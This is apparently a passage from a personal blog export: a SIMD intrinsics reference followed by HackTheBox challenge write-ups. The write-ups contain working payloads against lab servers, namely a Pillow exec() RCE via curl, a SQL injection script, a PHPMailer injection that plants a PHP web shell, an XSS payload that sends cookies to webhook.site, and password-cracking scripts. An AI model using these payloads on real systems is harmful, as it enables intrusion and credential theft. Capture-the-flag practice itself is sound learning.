assembly https://godbolt.org x86 latency/throughput data https://uops.info x86 optimization manuals and instruction tables https://www.agner.org/optimize/ How To Read Intrinsic Names x86 Typical form:\n_mm256_add_epi32 Part Meaning _mm Intel intrinsic namespace. 256 Vector width: 256-bit YMM. Empty usually means 128-bit XMM. add Operation. epi32 Packed signed/unsigned 32-bit integer lanes. Common x86 suffixes:\nSuffix Meaning ps Packed single-precision floats, usually float32. pd Packed double-precision floats, usually float64. ss Scalar single-precision float. sd Scalar double-precision float. epi8, epi16, epi32, epi64 Packed integer lanes. si128, si256, si512 Raw integer vector register. u8, u16, u32, u64 Unsigned integer variants in some intrinsic names. mask, maskz AVX-512 masked operation; maskz zeroes inactive lanes. Common headers:\nHeader Use \u0026lt;immintrin.h\u0026gt; Most modern Intel/AMD intrinsics. \u0026lt;xmmintrin.h\u0026gt; SSE. \u0026lt;emmintrin.h\u0026gt; SSE2. \u0026lt;tmmintrin.h\u0026gt; SSSE3. \u0026lt;smmintrin.h\u0026gt; SSE4.1. \u0026lt;nmmintrin.h\u0026gt; SSE4.2. Minimal x86 example:\n#include \u0026lt;immintrin.h\u0026gt; void add8_i32(const int *a, const int *b, int *out) { __m256i va = _mm256_loadu_si256((const __m256i *)a); __m256i vb = _mm256_loadu_si256((const __m256i *)b); __m256i vc = _mm256_add_epi32(va, vb); _mm256_storeu_si256((__m256i *)out, vc); } Compile:\ngcc -O3 -mavx2 simd.c clang -O3 -mavx2 simd.c Arm Neon Typical form:\nvaddq_s32 Part Meaning v Vector intrinsic prefix. add Operation. q 128-bit vector form. Without q, many Neon intrinsics use 64-bit vectors. s32 Signed 32-bit integer lanes. Common Neon suffixes:\nSuffix Meaning s8, s16, s32, s64 Signed integer lanes. u8, u16, u32, u64 Unsigned integer lanes. f16, f32, f64 Floating-point lanes. p8, p16, p64 Polynomial lanes. q 128-bit vector form. n One operand is a scalar immediate/value. lane Uses a lane from another vector. Use:\n#include \u0026lt;arm_neon.h\u0026gt; void add4_i32(const int32_t *a, const int32_t *b, int32_t *out) { int32x4_t va = vld1q_s32(a); int32x4_t vb = vld1q_s32(b); int32x4_t vc = vaddq_s32(va, vb); vst1q_s32(out, vc); } Compile:\naarch64-linux-gnu-gcc -O3 simd.c clang -O3 --target=aarch64-linux-gnu simd.c On AArch64, Neon is part of the base architecture profile used by normal user-space targets. For AArch32, pass the correct FPU/architecture flags for the target CPU.\nArm SVE / SVE2 SVE is scalable SIMD. Code is written for an unknown runtime vector length, using predicates to control active lanes.\nTypical form:\nsvadd_s32_m(pg, a, b) Part Meaning sv SVE intrinsic prefix. add Operation. s32 Signed 32-bit lanes. _m Merge inactive lanes from the first input. _z Zero inactive lanes. _x Inactive lanes are don\u0026rsquo;t-care. pg Predicate controlling active lanes. Minimal SVE loop shape:\n#include \u0026lt;arm_sve.h\u0026gt; void add_i32_sve(const int32_t *a, const int32_t *b, int32_t *out, int n) { for (int i = 0; i \u0026lt; n; i += svcntw()) { svbool_t pg = svwhilelt_b32(i, n); svint32_t va = svld1_s32(pg, \u0026amp;a[i]); svint32_t vb = svld1_s32(pg, \u0026amp;b[i]); svint32_t vc = svadd_s32_m(pg, va, vb); svst1_s32(pg, \u0026amp;out[i], vc); } } Compile for an SVE-capable target:\naarch64-linux-gnu-gcc -O3 -march=armv8.2-a+sve simd.c clang -O3 --target=aarch64-linux-gnu -march=armv8.2-a+sve simd.c Use SVE/SVE2 when you want code that scales across different vector lengths. Avoid hardcoding a fixed number of lanes in SVE loops.\nWorking With SIMD Start Scalar Write a clear scalar version first:\nfor (int i = 0; i \u0026lt; n; i++) { out[i] = a[i] + b[i]; } Then decide whether to use compiler auto-vectorization, explicit intrinsics, or a portable abstraction.\nCheck Auto-Vectorization Compilers can vectorize simple loops when aliasing and control flow are clear.\nGCC:\ngcc -O3 -march=native -fopt-info-vec-optimized -fopt-info-vec-missed code.c Clang:\nclang -O3 -march=native -Rpass=loop-vectorize -Rpass-missed=loop-vectorize code.c Hints that help compilers:\nvoid add(float *restrict out, const float *restrict a, const float *restrict b, int n) { for (int i = 0; i \u0026lt; n; i++) { out[i] = a[i] + b[i]; } } Use restrict only when the pointers really do not alias.\nUse Intrinsics For Control Use intrinsics when you need:\nexact instruction choice shuffles, masks, saturating arithmetic, or special instructions stable performance in a hot path behavior the compiler will not auto-vectorize reverse-engineering parity with compiler output Avoid intrinsics when scalar code auto-vectorizes cleanly and performance is already good.\nHandle Alignment And Tails Most modern SIMD code can use unaligned loads:\nPlatform Unaligned load pattern x86 _mm_loadu_*, _mm256_loadu_*, _mm512_loadu_* Neon vld1* loads; alignment still matters for performance on some targets SVE svld1* with predicates for tails Tail handling options:\nMethod Use Scalar cleanup loop Simple and portable. Masked load/store AVX-512 and SVE are strong here. Over-read within safe padding Fast, but requires strict buffer guarantees. Process fixed blocks only Useful for codecs and cryptographic blocks. Verify Correctness Check scalar and SIMD outputs on edge cases:\nempty input length smaller than vector width exact vector-width length one element past vector width unaligned input/output pointers max/min integer values NaN, infinity, signed zero for floating point Measure Use representative inputs and measure the whole hot loop, not just one instruction.\nUseful tools:\nTool Use perf stat Cycles, instructions, branches, cache misses. perf record/report Hot path profiling. Compiler Explorer Inspect generated assembly. uops.info x86 instruction throughput/latency. Agner Fog tables x86 throughput/latency and microarchitecture notes. llvm-mca Static throughput analysis for LLVM-supported targets. Python Prototyping NumPy arrays are a convenient way to prototype SIMD-like logic in Python while reversing vectorized code. They model lanes, masks, shifts, reinterpret casts, and fixed-width overflow behavior closely enough for quick experiments and sanity checks.\nPython references:\nIntel Intrinsics Guide: https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html NumPy SIMD optimizations: https://numpy.org/devdocs/reference/simd/index.html Basic lane model:\nimport numpy as np u8 = np.array([0xff, 0x01, 0x7f, 0x80], dtype=np.uint8) print((u8 + np.uint8(1)).astype(np.uint8)) Intrinsic-like helpers:\nimport numpy as np # Load / Store def mm_set1_ps(val: float): return np.full(4, val, dtype=np.float32) def mm_set1_pd(val: float): return np.full(2, val, dtype=np.float64) def mm_loadu_ps(arr): return np.array(arr, dtype=np.float32) def mm_storeu_ps(dst, src): dst[:] = src.astype(np.float32) # Arithmetic def mm_add_ps(a, b): return a + b def mm_sub_ps(a, b): return a - b def mm_mul_ps(a, b): return a * b def mm_div_ps(a, b): return a / b def mm_add_pd(a, b): return a + b def mm_sub_pd(a, b): return a - b def mm_mul_pd(a, b): return a * b def mm_div_pd(a, b): return a / b # Comparisons def mm_cmpgt_ps(a, b): return (a \u0026gt; b).astype(np.float32) def mm_cmplt_ps(a, b): return (a \u0026lt; b).astype(np.float32) def mm_cmpeq_ps(a, b): return (a == b).astype(np.float32) # Bitwise / Logical def mm_and_ps(a, b): return np.bitwise_and(a.view(np.int32), b.view(np.int32)).view(np.float32) def mm_or_ps(a, b): return np.bitwise_or(a.view(np.int32), b.view(np.int32)).view(np.float32) def mm_xor_ps(a, b): return np.bitwise_xor(a.view(np.int32), b.view(np.int32)).view(np.float32) # Shifts / Casts def mm_castsi128_ps(a): return a.view(np.float32) def mm_castps_si128(a): return a.view(np.int32) def mm_srli_epi32(a, imm): return (a.astype(np.uint32) \u0026gt;\u0026gt; imm).astype(np.int32) def mm_slli_epi32(a, imm): return (a.astype(np.uint32) \u0026lt;\u0026lt; imm).astype(np.int32) # Math helpers: not exact intrinsics, but common when modeling algorithms. def mm_abs_ps(a): return np.abs(a) def mm_max_ps(a, b): return np.maximum(a, b) def mm_min_ps(a, b): return np.minimum(a, b) def mm_sqrt_ps(a): return np.sqrt(a) def mm_rcp_ps(a): return 1.0 / a def mm_rsqrt_ps(a): return 1.0 / np.sqrt(a) Example use:\na = mm_loadu_ps([1, 2, 3, 4]) b = mm_set1_ps(10) out = np.zeros(4, dtype=np.float32) mm_storeu_ps(out, mm_add_ps(a, b)) print(out) # [11. 12. 13. 14.] mask = mm_cmpgt_ps(out, mm_set1_ps(12)) print(mask) # [0. 0. 1. 1.] Python model limits:\nNumPy does not model instruction latency or port pressure. NumPy may use SIMD internally, but the Python code is not a direct instruction trace. Integer overflow must be modeled with explicit dtypes. Floating-point results can differ if the real code uses approximations like reciprocal or reciprocal-square-root instructions. Reversing SIMD Code x86 Registers Register Width Common ISA xmm0..xmm31 128-bit SSE, AVX, AVX-512VL ymm0..ymm31 256-bit AVX, AVX2 zmm0..zmm31 512-bit AVX-512 k0..k7 mask registers AVX-512 Useful GDB:\ninfo all-registers info registers xmm0 ymm0 zmm0 p $xmm0 x/16xb $rsp x/8i $pc Common x86 instruction prefixes:\nPrefix / mnemonic shape Meaning p* Packed integer, older SSE style. v* VEX/EVEX encoded AVX/AVX-512 style. addps, mulps Packed single-float operations. paddd, v paddd Packed integer add dword lanes. pshuf*, vperm* Shuffle or permute. pcmpeq*, pcmpgt* Packed comparisons. pmovmskb, movmsk* Extract sign bits to scalar mask. vpblend*, vpternlog* Blend/boolean selection. Arm Registers Register Use v0..v31 AArch64 SIMD/floating-point registers. q0..q31 128-bit view of v registers. d0..d31 64-bit view. s0..s31 32-bit view. h0..h31 16-bit view. b0..b31 8-bit view. z0..z31 SVE scalable vector registers. p0..p15 SVE predicate registers. Common Arm patterns:\nPattern Meaning ld1 / st1 Load/store vector lanes. add, sub, mul Lane-wise arithmetic. mla, fmla Multiply-add. tbl, tbx Table lookup/shuffle. uzp, zip, trn Unzip/zip/transpose lane interleaving. sq*, uq* Signed/unsigned saturating operations. cnt Count bits per byte. whilelt, ptrue SVE predicate setup. Porting Between x86 And Arm Direct one-to-one mappings do not always exist. Start from behavior:\nIdentify lane type and vector width. Identify operation: arithmetic, compare, shuffle, load/store, mask, reduction. Write a scalar or NumPy model. Search the target architecture intrinsic reference. Verify edge cases and generated assembly. Useful options:\nOption Use Rewrite with native Neon/SVE intrinsics Best for performance and clarity on Arm. Use SIMDe Good for porting existing x86 intrinsic code to Arm or other platforms. Use compiler vector extensions Good for simple portable operations. Keep scalar + auto-vectorization Good when compiler produces clean SIMD. SIMDe example:\n#define SIMDE_ENABLE_NATIVE_ALIASES #include \u0026lt;simde/x86/avx2.h\u0026gt; __m256i add8(__m256i a, __m256i b) { return _mm256_add_epi32(a, b); } On x86, SIMDe can map to native x86 intrinsics. On Arm, it can map many x86 APIs to Neon or other available implementations.\nQuick Build Flags Target GCC/Clang flags Native current CPU -O3 -march=native x86 SSE2 -O3 -msse2 x86 SSSE3 -O3 -mssse3 x86 SSE4.2 -O3 -msse4.2 x86 AVX -O3 -mavx x86 AVX2 -O3 -mavx2 -mfma x86 AVX-512 baseline -O3 -mavx512f AArch64 generic -O3 --target=aarch64-linux-gnu AArch64 SVE -O3 -march=armv8.2-a+sve AArch64 SVE2 -O3 -march=armv9-a+sve2 Arm MVE Target-specific Cortex-M flags, usually with MVE/Helium-enabled -mcpu= Use runtime dispatch when shipping binaries to unknown CPUs. Do not compile a public binary with -march=native unless the deployment CPU is fixed.\nReferences x86 Intel Intrinsics Guide: https://www.intel.com/content/www/us/en/docs/intrinsics-guide/index.html Intel Intrinsics Guide release notes: https://www.intel.com/content/www/us/en/developer/articles/release-notes/intrinsics-guide-release-notes.html Microsoft x86 intrinsics list: https://learn.microsoft.com/en-us/cpp/intrinsics/x86-intrinsics-list uops.info instruction tables: https://uops.info Agner Fog optimization manuals: https://www.agner.org/optimize/ Arm Arm Neon Intrinsics Reference: https://arm-software.github.io/acle/neon_intrinsics/advsimd.html Arm C Language Extensions: https://arm-software.github.io/acle/main/acle.html Arm MVE Intrinsics Reference: https://arm-software.github.io/acle/mve_intrinsics/ Arm Neon overview: https://www.arm.com/technologies/neon Arm SIMD hub and Intrinsics Search Engine: https://developer.arm.com/servers-and-cloud-computing/arm-simd Arm Learn the Architecture: https://www.arm.com/architecture/learn-the-architecture/a-profile Arm SIMD hub: https://www.arm.com/developer-hub/servers-and-cloud-computing/arm-simd Arm SIMD learning path: https://learn.arm.com/learning-paths/cross-platform/simd-loops/1-about/ Arm intrinsics porting path: https://learn.arm.com/learning-paths/cross-platform/intrinsics/ Arm SIMDe porting guide: https://learn.arm.com/learning-paths/cross-platform/intrinsics/simde/ Compilers And Libraries GCC vector extensions: https://gcc.gnu.org/onlinedocs/gcc/Vector-Extensions.html Clang language extensions: https://clang.llvm.org/docs/LanguageExtensions.html NumPy CPU/SIMD optimizations: https://numpy.org/devdocs/reference/simd/index.html NumPy NEP 38: https://numpy.org/neps/nep-0038-SIMD-optimizations.html SIMDe: https://github.com/simd-everywhere/simde Compiler Explorer: https://godbolt.org ","date":"2025-03-16T11:20:00+08:00","permalink":"https://x3ric.com/blog/posts/Intrinsics/","protected":null,"snippet":"Compact SIMD intrinsics reference for x86, Arm, Python prototyping, vectorization, and architecture documentation.","tags":["notes","reversing","intrinsics","simd"],"title":"Intrinsics"},{"categories":["challenge"],"contents":"","date":"2025-03-02T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Dark-Runes-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","cve-2023-0835"],"title":"HackTheBox Dark Runes Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/325\nDescription The Amidst-Us tribe is a notorious group of sleeper agents for hire. We have plausible reasons to believe they are working with Draeger, so we have to take action to uncover their identities. Ulysses and bonnie have infiltrated their HQ and came across this mysterious portal on one of the unlocked computers. Can you hack into it despite the low visibility and get them access?\nExploitation https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-2331901\ncheck\ntime curl 94.237.53.146:46950/api/alphafy -d \u0026#39;{\u0026#34;background\u0026#34;:[\u0026#34;exec(\\\u0026#34;import os; os.system(\\\\\\\u0026#34;sleep 5\\\\\\\u0026#34;)\\\u0026#34;)\u0026#34;,255,255],\u0026#34;image\u0026#34;:\u0026#34;\u0026#39;$(base64 challenge/application/static/images/arrow.png)\u0026#39;\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; exploit\ncurl 94.237.53.146:46950/api/alphafy \\ -H \u0026#39;Content-Type: application/json\u0026#39; \\ -d \u0026#34;{\\\u0026#34;background\\\u0026#34;:[\\\u0026#34;exec(\u0026#39;import os;os.system(\\\\\\\\\u0026#39;cat /flag.txt \u0026gt; /app/application/static/flag.txt\\\\\\\\\u0026#39;)\u0026#39;)\\\u0026#34;,0,0],\\\u0026#34;image\\\u0026#34;:\\\u0026#34;iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==\\\u0026#34;}\u0026#34; curl 94.237.53.146:46950/static/flag.txt Summary Amidst Us: find the command execution path, trigger it cleanly, and read the flag.\n","date":"2025-02-28T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Amidst-Us-Challenge/","protected":null,"snippet":"Amidst Us: find the command execution path, trigger it cleanly, and read the flag.","tags":["htb","web","rce"],"title":"HackTheBox Amidst Us Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/146\nDescription I heard that *real_escape_string() functions protect you from malicious user input inside SQL statements, I hope you can\u0026rsquo;t prove me wrong\u0026hellip;\nExploitation #!/usr/bin/env python3 import requests import sys def send_post_request(url, data): return requests.post(url, data=data) if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) HOST = f\u0026#39;http://{host}:{port}/\u0026#39; payloads = [ {\u0026#39;pass\u0026#39;: \u0026#34;%1$\u0026#39;)||extractvalue(null,concat(0x7e, version()));#\u0026#34;}, {\u0026#39;pass\u0026#39;: \u0026#34;%1$\u0026#39;)||extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables WHERE table_schema=database())));#\u0026#34;}, {\u0026#39;pass\u0026#39;: \u0026#34;%1$\u0026#39;)||extractvalue(null,concat(0x7e,(select * from totally_not_a_flag)));#\u0026#34;} ] for payload in payloads: print(send_post_request(HOST, payload).text) Summary baby sql: exploit the SQL injection, extract the needed data, and reach the flag.\n","date":"2025-02-28T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-baby-sql-Challenge/","protected":null,"snippet":"baby sql: exploit the SQL injection, extract the needed data, and reach the flag.","tags":["htb","web","sql-injection"],"title":"HackTheBox baby sql Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/373\nDescription A high-profile political individual was a victim of a spear-phishing attack. The email came from a legitimate government entity in a nation we don\u0026rsquo;t have jurisdiction. However, we have traced the originating mail to a government webserver. Further enumeration revealed an open directory index containing a PHP mailer script we think was used to send the email. We need access to the server to read the logs and find out the actual perpetrator. Can you help?\nExploitation /mailer.php https://www.exploit-db.com/exploits/40969\nhttps://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html\nFrom Email\n\u0026#34;attacker\\\u0026#34; -oQ/tmp/ -X/var/www/html/rce.php some \u0026#34;@email.com Email List\n\u0026lt;?php system($_GET[\u0026#39;0\u0026#39;]); ?\u0026gt; /rce.php?0=cat /flag.txt Summary Letter Dispair: find the command execution path, trigger it cleanly, and read the flag.\n","date":"2025-02-28T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Letter-Dispair-Challenge/","protected":null,"snippet":"Letter Dispair: find the command execution path, trigger it cleanly, and read the flag.","tags":["htb","web","rce","php","cve-2016-10045"],"title":"HackTheBox Letter Dispair Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/98\nDescription Just unzip the archive \u0026hellip; several times \u0026hellip;\nExploitation #!/usr/bin/python3 import re import os import sys import zipfile from PIL import Image from tqdm import tqdm def morse_decode(morse_list): password = \u0026#34;\u0026#34; MORSE_CODE_DICT = {\u0026#39;.-\u0026#39;: \u0026#39;a\u0026#39;, \u0026#39;-...\u0026#39;: \u0026#39;b\u0026#39;, \u0026#39;-.-.\u0026#39;: \u0026#39;c\u0026#39;, \u0026#39;-..\u0026#39;: \u0026#39;d\u0026#39;,\u0026#39;.\u0026#39;: \u0026#39;e\u0026#39;, \u0026#39;..-.\u0026#39;: \u0026#39;f\u0026#39;, \u0026#39;--.\u0026#39;: \u0026#39;g\u0026#39;, \u0026#39;....\u0026#39;: \u0026#39;h\u0026#39;,\u0026#39;..\u0026#39;: \u0026#39;i\u0026#39;, \u0026#39;.---\u0026#39;: \u0026#39;j\u0026#39;, \u0026#39;-.-\u0026#39;: \u0026#39;k\u0026#39;, \u0026#39;.-..\u0026#39;: \u0026#39;l\u0026#39;,\u0026#39;--\u0026#39;: \u0026#39;m\u0026#39;, \u0026#39;-.\u0026#39;: \u0026#39;n\u0026#39;, \u0026#39;---\u0026#39;: \u0026#39;o\u0026#39;, \u0026#39;.--.\u0026#39;: \u0026#39;p\u0026#39;,\u0026#39;--.-\u0026#39;: \u0026#39;q\u0026#39;, \u0026#39;.-.\u0026#39;: \u0026#39;r\u0026#39;, \u0026#39;...\u0026#39;: \u0026#39;s\u0026#39;, \u0026#39;-\u0026#39;: \u0026#39;t\u0026#39;,\u0026#39;..-\u0026#39;: \u0026#39;u\u0026#39;, \u0026#39;...-\u0026#39;: \u0026#39;v\u0026#39;, \u0026#39;.--\u0026#39;: \u0026#39;w\u0026#39;, \u0026#39;-..-\u0026#39;: \u0026#39;x\u0026#39;,\u0026#39;-.--\u0026#39;: \u0026#39;y\u0026#39;, \u0026#39;--..\u0026#39;: \u0026#39;z\u0026#39;, \u0026#39;-----\u0026#39;: \u0026#39;0\u0026#39;, \u0026#39;.----\u0026#39;: \u0026#39;1\u0026#39;,\u0026#39;..---\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;...--\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;....-\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;.....\u0026#39;: \u0026#39;5\u0026#39;,\u0026#39;-....\u0026#39;: \u0026#39;6\u0026#39;, \u0026#39;--...\u0026#39;: \u0026#39;7\u0026#39;, \u0026#39;---..\u0026#39;: \u0026#39;8\u0026#39;, \u0026#39;----.\u0026#39;: \u0026#39;9\u0026#39;,\u0026#39;-..-.\u0026#39;: \u0026#39;/\u0026#39;, \u0026#39;.-.-.-\u0026#39;: \u0026#39;.\u0026#39;, \u0026#39;-.--.-\u0026#39;: \u0026#39;)\u0026#39;, \u0026#39;..--..\u0026#39;: \u0026#39;?\u0026#39;,\u0026#39;-.--.\u0026#39;: \u0026#39;(\u0026#39;, \u0026#39;-....-\u0026#39;: \u0026#39;-\u0026#39;, \u0026#39;--..--\u0026#39;: \u0026#39;,\u0026#39;} for morse in morse_list: password += MORSE_CODE_DICT.get(morse) return password def morse(): fp = open(\u0026#39;./pwd.png\u0026#39;, \u0026#39;rb\u0026#39;) image = Image.open(fp) pixel = list(image.getdata()) background = pixel[0] chars = [] for i,v in enumerate(pixel): if v == background: chars.append(\u0026#34; \u0026#34;) else: chars.append(\u0026#34;*\u0026#34;) output = \u0026#34;\u0026#34;.join(chars) output = re.sub(r\u0026#39;^\\s*\u0026#39;, \u0026#39;\u0026#39;, output) output = re.sub(r\u0026#39;\\s*$\u0026#39;, \u0026#39;\u0026#39;, output) output = re.sub(r\u0026#39;\\*{3}\u0026#39;, \u0026#39;-\u0026#39;, output) output = re.sub(r\u0026#39;\\*\u0026#39;, \u0026#39;.\u0026#39;, output) output = re.sub(r\u0026#39;\\s{2,}\u0026#39;, \u0026#39; | \u0026#39;, output) output = re.sub(r\u0026#39;\\s\u0026#39;, \u0026#39;\u0026#39;, output) output = output.split(\u0026#39;|\u0026#39;) fp.close() return output def unzip_file(path, number, password): zip_path = \u0026#34;flag_\u0026#34; + str(1000-number) + \u0026#34;.zip\u0026#34; fp = zipfile.ZipFile(zip_path) for file in fp.namelist(): fp.extract(file,\u0026#34;./\u0026#34;,pwd=password.encode(\u0026#34;utf-8\u0026#34;)) fp.close() def main(): path = sys.path[0] for number in tqdm(range(1,1001), desc=\u0026#34;Extracting archives\u0026#34;): morse_list = morse() password = morse_decode(morse_list) try: unzip_file(path, number, password) path = \u0026#34;./flag\u0026#34; os.chdir(path) try: fp = open(\u0026#39;./flag\u0026#39;, \u0026#39;r\u0026#39;) flag = fp.readlines() print(flag) fp.close() break except: continue except: continue if __name__ == \u0026#34;__main__\u0026#34;: main() Summary M0rsarchive: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-28T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-M0rsarchive-Challenge/","protected":null,"snippet":"M0rsarchive: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox M0rsarchive Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/123\nDescription Frank Vitalik is a hustler, can you figure out where the money flows?\nExploitation search Frank Vitalik\nhttps://www.reddit.com/user/frankvitalik/comments/goxkz7/whats_the_cleverest_scam_youve_seen_in_crypto/\nhttps://etherscan.io/address/0xb7605ddc0327406a7ac225b9de87865e22ac5927\nhttps://steemit.com/htb/@freecoinz/freecoinz\nWebArchive since ropstein is eol https://github.com/ethereum/ropsten?tab=readme-ov-file\nhttps://web.archive.org/web/20211121151402/https://ropsten.etherscan.io/tx/0xe1320c23f292e52090e423e5cdb7b4b10d3c70a8d1b947dff25ae892609f2ef4\nthe flag is in the transaction’s input data, we can show it in UTF-8 format\nSummary Money Flowz: correlate the public clues, pivot through the evidence, and identify the final answer.\n","date":"2025-02-28T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Money-Flowz-Challenge/","protected":null,"snippet":"Money Flowz: correlate the public clues, pivot through the evidence, and identify the final answer.","tags":["htb","osint","blockchain"],"title":"HackTheBox Money Flowz Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/860\nDescription Dating and matching can be exciting especially during Valentine\u0026rsquo;s, but it’s important to stay vigilant for impostors. Can you help identify possible frauds?\nExploitation Register and log in, then navigate to Matches to start a conversation.\nBegin the conversation with:\nHello, how are you? Set up a webhook by obtaining a link from https://webhook.site/ and replace the provided link with your unique one.\nDemonstrate an xss by saying:\nHello there `\u0026lt;script\u0026gt;document.location=\u0026#39;https://webhook.site/YOUR-UNIQUE-ID?c=\u0026#39;+document.cookie\u0026lt;/script\u0026gt;` Lastly, paste the captured cookie into the designated page and refresh.\nSummary OnlyHacks: use the client-side injection path to steal the needed proof and recover the flag.\n","date":"2025-02-28T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-OnlyHacks-Challenge/","protected":null,"snippet":"OnlyHacks: use the client-side injection path to steal the needed proof and recover the flag.","tags":["htb","web","xss"],"title":"HackTheBox OnlyHacks Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/31\nDescription Old algorithms are not a waste, but are really precious\u0026hellip;\nExploitation pdf2john 0ld\\ is\\ g0ld.pdf \u0026gt; hash.txt john --wordlist=/usr/share/dict/rockyou.txt hash.txt we find jumanji69\nopen the pdf to get\n.-. .---- .--. ... .- -- ..- ...-- .-.. -- ----- .-. ... ...-- so lets convert the morse code btw you can use online tools\nmorse_code = \u0026#34;.-. .---- .--. ... .- -- ..- ...-- .-.. -- ----- .-. ... ...--\u0026#34; morse_dict = { \u0026#39;.-\u0026#39;: \u0026#39;A\u0026#39;, \u0026#39;-...\u0026#39;: \u0026#39;B\u0026#39;, \u0026#39;-.-.\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;-..\u0026#39;: \u0026#39;D\u0026#39;, \u0026#39;.\u0026#39;: \u0026#39;E\u0026#39;, \u0026#39;..-.\u0026#39;: \u0026#39;F\u0026#39;, \u0026#39;--.\u0026#39;: \u0026#39;G\u0026#39;, \u0026#39;....\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;..\u0026#39;: \u0026#39;I\u0026#39;, \u0026#39;.---\u0026#39;: \u0026#39;J\u0026#39;, \u0026#39;-.-\u0026#39;: \u0026#39;K\u0026#39;, \u0026#39;.-..\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;--\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;-.\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;---\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;.--.\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;--.-\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;.-.\u0026#39;: \u0026#39;R\u0026#39;, \u0026#39;...\u0026#39;: \u0026#39;S\u0026#39;, \u0026#39;-\u0026#39;: \u0026#39;T\u0026#39;, \u0026#39;..-\u0026#39;: \u0026#39;U\u0026#39;, \u0026#39;...-\u0026#39;: \u0026#39;V\u0026#39;, \u0026#39;.--\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;-..-\u0026#39;: \u0026#39;X\u0026#39;, \u0026#39;-.--\u0026#39;: \u0026#39;Y\u0026#39;, \u0026#39;--..\u0026#39;: \u0026#39;Z\u0026#39;, \u0026#39;-----\u0026#39;: \u0026#39;0\u0026#39;, \u0026#39;.----\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;..---\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;...--\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;....-\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;.....\u0026#39;: \u0026#39;5\u0026#39;, \u0026#39;-....\u0026#39;: \u0026#39;6\u0026#39;, \u0026#39;--...\u0026#39;: \u0026#39;7\u0026#39;, \u0026#39;---..\u0026#39;: \u0026#39;8\u0026#39;, \u0026#39;----.\u0026#39;: \u0026#39;9\u0026#39;, \u0026#39;..--..\u0026#39;: \u0026#39;?\u0026#39;, \u0026#39;-.-.--\u0026#39;: \u0026#39;!\u0026#39;, \u0026#39;.-.-.-\u0026#39;: \u0026#39;.\u0026#39; } decoded_message = \u0026#39;\u0026#39;.join(morse_dict[char] if char in morse_dict else \u0026#39;?\u0026#39; for char in morse_code.split()) print(\u0026#39;HTB{\u0026#39;+decoded_message+\u0026#39;}\u0026#39;) Summary 0ld is g0ld: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-0ld-is-g0ld-Challenge/","protected":null,"snippet":"0ld is g0ld: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox 0ld is g0ld Challenge"},{"categories":["challenge"],"contents":"","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-BinCrypt-Breaker-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","xor","linux"],"title":"HackTheBox BinCrypt Breaker Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/113\nDescription Could you please check the console of your Chrome?\nExploitation Copy the php-console-client cookie, decode it, and extract the publicKey. Replace pubkey and ip_address in the PoC with the extracted publicKey and the IP address displayed on the webpage.\n#!/usr/bin/env python3 import hashlib def crack(): with open(\u0026#34;/usr/share/dict/rockyou.txt\u0026#34;, \u0026#34;r\u0026#34;, encoding=\u0026#34;latin-1\u0026#34;) as infile: rockyou = infile.read().split() salt = \u0026#34;NeverChangeIt:)\u0026#34;.encode() ip_address = \u0026#34;10.30.18.25\u0026#34;.encode() pubkey = \u0026#34;370244b500c702b16dddb1678c882d2b7aa0b3bcdf94fb6bb9e792460c5d460b\u0026#34; for word in rockyou: try: password = hashlib.sha256(word.encode() + salt).hexdigest().encode() attempt = hashlib.sha256(ip_address + password).hexdigest() print(\u0026#34;Attempt -\u0026gt; \u0026#34; + 